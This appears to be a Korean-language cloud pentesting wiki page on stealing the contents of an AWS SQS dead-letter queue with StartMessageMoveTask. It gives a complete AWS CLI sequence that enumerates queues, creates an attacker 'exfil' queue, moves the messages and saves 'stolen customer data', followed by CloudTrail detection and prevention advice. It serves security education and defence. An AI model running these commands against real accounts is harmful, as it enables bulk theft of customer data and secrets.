AWS – SQS DLQ Redrive Exfiltration via StartMessageMoveTask

Reading time: 6 minutes

설명

SQS 메시지 이동 작업을 악용하여 sqs:StartMessageMoveTask를 사용해 피해자의 Dead-Letter Queue (DLQ)에 누적된 모든 메시지를 공격자 제어 큐로 리디렉션해 탈취합니다. 이 기법은 AWS의 합법적인 메시지 복구 기능을 악용하여 DLQ에 오랜 기간 쌓인 민감한 데이터를 exfiltrate합니다.

Dead-Letter Queue (DLQ)란?

Dead-Letter Queue는 주요 애플리케이션에서 메시지 처리에 실패했을 때 자동으로 전송되는 특수한 SQS 큐입니다. 이러한 실패한 메시지에는 종종 다음이 포함됩니다:

• 처리되지 못한 민감한 애플리케이션 데이터
• 오류 세부 정보 및 디버깅 정보
• 개인 식별 정보(PII)
• API 토큰, 자격 증명 또는 기타 비밀
• 비즈니스 중요 거래 데이터

DLQ는 실패한 메시지의 '묘지' 역할을 하므로, 애플리케이션이 제대로 처리하지 못해 시간이 지남에 따라 민감한 데이터가 누적되기 때문에 가치 있는 표적이 됩니다.

공격 시나리오

실제 사례 예시:

1. E-commerce application이 SQS를 통해 고객 주문을 처리함
2. 일부 주문이 실패함(결제 문제, 재고 문제 등)으로 DLQ로 이동
3. DLQ에 수주/수개월치의 실패한 주문이 누적되어 고객 데이터 포함: {"customerId": "12345", "creditCard": "4111-1111-1111-1111", "orderTotal": "$500"}
4. 공격자가 SQS 권한을 가진 AWS 자격 증명을 탈취
5. 공격자가 DLQ에 수천 건의 실패한 주문과 민감한 데이터가 있음을 발견
6. 개별 메시지 접근을 시도하는 대신(느리고 눈에 띔), 공격자는 StartMessageMoveTask를 사용해 모든 메시지를 자신의 큐로 일괄 전송
7. 공격자가 한 번의 작업으로 모든 과거 민감 데이터를 추출

요구 사항

• 소스 큐는 DLQ로 구성되어 있어야 함(적어도 하나의 큐 RedrivePolicy에 참조되어야 함).
• IAM 권한(침해된 피해자 주체로 실행):
• DLQ(소스)에 대해: sqs:StartMessageMoveTask, sqs:GetQueueAttributes.
• 대상 큐에 대해: 메시지 전달 권한(예: 피해자 주체로부터의 sqs:SendMessage를 허용하는 큐 정책). 동일 계정 내 대상의 경우 일반적으로 기본적으로 허용됨.
• SSE-KMS가 활성화된 경우: 소스 CMK에 대해 kms:Decrypt, 대상 CMK에 대해 kms:GenerateDataKey, kms:Encrypt.

영향

잠재적 영향: 네이티브 SQS API를 사용하여 DLQ에 누적된 민감한 페이로드(실패한 이벤트, PII, 토큰, 애플리케이션 페이로드 등)를 고속으로 exfiltrate할 수 있음. 대상 큐 정책이 피해자 주체로부터의 SendMessage를 허용하면 교차 계정에서도 작동함.

악용 방법

• 피해자 DLQ ARN을 식별하고 해당 큐가 실제로 어떤 큐에 의해 DLQ로 참조되고 있는지 확인합니다(어떤 큐든 상관없음).
• 공격자 제어 대상 큐를 생성하거나 선택하고 해당 큐의 ARN을 확보합니다.
• 피해자 DLQ에서 대상 큐로 메시지 이동 작업을 시작합니다.
• 진행 상황을 모니터링하거나 필요한 경우 취소합니다.

CLI 예시: E-commerce DLQ에서 고객 데이터 Exfiltrating

시나리오: 공격자가 AWS 자격 증명을 탈취했고, 전자상거래 애플리케이션이 실패한 고객 주문 처리 시도를 포함한 DLQ를 사용하는 SQS를 사용하고 있음을 발견함.

1. 피해자 DLQ 찾기 및 조사

# List queues to find DLQs (look for names containing 'dlq', 'dead', 'failed', etc.)
aws sqs list-queues --queue-name-prefix dlq

# Let's say we found: https://sqs.us-east-1.amazonaws.com/123456789012/ecommerce-orders-dlq
VICTIM_DLQ_URL="https://sqs.us-east-1.amazonaws.com/123456789012/ecommerce-orders-dlq"
SRC_ARN=$(aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" --attribute-names QueueArn --query Attributes.QueueArn --output text)

# Check how many messages are in the DLQ (potential treasure trove!)
aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" \
--attribute-names ApproximateNumberOfMessages
# Output might show: "ApproximateNumberOfMessages": "1847"

2. attacker-controlled destination queue 생성

# Create our exfiltration queue
ATTACKER_Q_URL=$(aws sqs create-queue --queue-name hacker-exfil-$(date +%s) --query QueueUrl --output text)
ATTACKER_Q_ARN=$(aws sqs get-queue-attributes --queue-url "$ATTACKER_Q_URL" --attribute-names QueueArn --query Attributes.QueueArn --output text)

echo "Created exfiltration queue: $ATTACKER_Q_ARN"

3. bulk message theft를 실행

# Start moving ALL messages from victim DLQ to our queue
# This operation will transfer thousands of failed orders containing customer data
echo "Starting bulk exfiltration of $SRC_ARN to $ATTACKER_Q_ARN"
TASK_RESPONSE=$(aws sqs start-message-move-task \
--source-arn "$SRC_ARN" \
--destination-arn "$ATTACKER_Q_ARN" \
--max-number-of-messages-per-second 100)

echo "Move task started: $TASK_RESPONSE"

# Monitor the theft progress
aws sqs list-message-move-tasks --source-arn "$SRC_ARN" --max-results 10

4. 탈취한 민감한 데이터 수집

# Receive the exfiltrated customer data
echo "Receiving stolen customer data..."
aws sqs receive-message --queue-url "$ATTACKER_Q_URL" \
--attribute-names All --message-attribute-names All \
--max-number-of-messages 10 --wait-time-seconds 5

# Example of what an attacker might see:
# {
#   "Body": "{\"customerId\":\"cust_12345\",\"email\":\"john@example.com\",\"creditCard\":\"4111-1111-1111-1111\",\"orderTotal\":\"$299.99\",\"failureReason\":\"Payment declined\"}",
#   "MessageId": "12345-abcd-6789-efgh"
# }

# Continue receiving all messages in batches
while true; do
MESSAGES=$(aws sqs receive-message --queue-url "$ATTACKER_Q_URL" \
--max-number-of-messages 10 --wait-time-seconds 2 --output json)

if [ "$(echo "$MESSAGES" | jq '.Messages | length')" -eq 0 ]; then
echo "No more messages - exfiltration complete!"
break
fi

echo "Received batch of stolen data..."
# Process/save the stolen customer data
echo "$MESSAGES" >> stolen_customer_data.json
done

계정 간 주의사항

• 대상 큐는 피해자 principal이 sqs:SendMessage를 수행할 수 있도록 허용하는 리소스 정책을 가져야 합니다(사용하는 경우 KMS grants/permissions 포함).

왜 이 공격이 효과적인가

1. 정상적인 AWS 기능: 내장된 AWS 기능을 사용하므로 악의적 활동으로 탐지되기 어려움
2. 대량 작업: 개별적으로 느리게 접근하는 대신 수천 개의 메시지를 빠르게 전송
3. 이력 데이터: DLQs는 몇 주/몇 달에 걸쳐 민감한 데이터를 축적함
4. 눈에 띄지 않음: 많은 조직이 DLQ 접근을 면밀히 모니터링하지 않음
5. 계정 간 가능: 권한이 허용되면 공격자의 AWS 계정으로 exfiltrate 할 수 있음

탐지 및 방지

탐지

의심스러운 StartMessageMoveTask API 호출을 CloudTrail에서 모니터링하십시오:

{
"eventName": "StartMessageMoveTask",
"sourceIPAddress": "suspicious-ip",
"userIdentity": {
"type": "IAMUser",
"userName": "compromised-user"
},
"requestParameters": {
"sourceArn": "arn:aws:sqs:us-east-1:123456789012:sensitive-dlq",
"destinationArn": "arn:aws:sqs:us-east-1:attacker-account:exfil-queue"
}
}

예방

1. 최소 권한 원칙: sqs:StartMessageMoveTask 권한을 필요한 역할로만 제한
2. DLQs 모니터링: 비정상적인 DLQ 활동에 대해 CloudWatch 경보 설정
3. 교차 계정 정책: 교차 계정 액세스를 허용하는 SQS 큐 정책을 신중히 검토
4. DLQs 암호화: SSE-KMS를 제한된 키 정책과 함께 사용
5. 정기적인 정리: 민감한 데이터가 DLQs에 무기한 쌓이지 않도록 함